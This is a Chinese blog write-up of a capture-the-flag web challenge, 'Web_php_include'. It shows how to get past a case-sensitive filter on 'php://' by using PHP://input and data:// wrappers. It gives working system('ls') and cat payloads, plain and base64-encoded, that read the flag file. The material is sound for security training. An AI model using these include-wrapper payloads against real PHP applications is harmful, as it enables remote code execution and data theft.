攻防世界web高手进阶区 Web_php_include

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


工具

火狐,burpsuite


分析

代码审计:

strstr():区分大小写

str_replace:替换函数

补充:

 函数原型:mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )参数说明:$search要被搜索替换的字符串,$replace要替换搜索的字符串,$subject操作的字符串,&$count替换次数,访函数返回在$subject搜索$search替换为$replace的字符串或数组。在这串代码中,将php://替换为"",操作的字符串为$page

方法一:运用php://input

原因:php://input 是个可以访问请求的原始数据的只读流,想要深入了解推荐这篇博客

因为这个可以访问原始数据所以我们用burpsuite抓取它的包,修改命令,达到我们的目的

访问PHP://input

 开始抓包

抓到这个包即可进行查询,输入<?php system('ls');?> ,这是php代码,ls是linux命令

 查询到了文件名字

输入<?php system('cat fl4gisisish3r3.php');?>,cat命令详细:

  得到flag:$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";

 方法二:data伪协议

data 协议

php5.2.0 起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是 PHP 代码,就会执行代码使用方法:data://text/plain;base64,xxxx(base64 编码后的数据)data 伪协议只有在 php<5.3 且 include=on 时可以写木马。

即构造data://text/plain;base64,<?php system("ls")?>(base64加密后的值)注意这里ls用双引号

即       data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

 得到名字继续加密,注意名字后面多的要删除

data://text/plain;base64,<?php system("cat fl4gisisish3r3.php")?>

加密后的data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

 发现页面里没有,打开源代码,这里应该被隐藏了,得到flag

参考连接;

str_replace函数详解_wangchaoqi1985的博客-CSDN博客_str_replace

攻防世界-web高手进阶区_ZJL_19的博客-CSDN博客_攻防世界web高手进阶

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值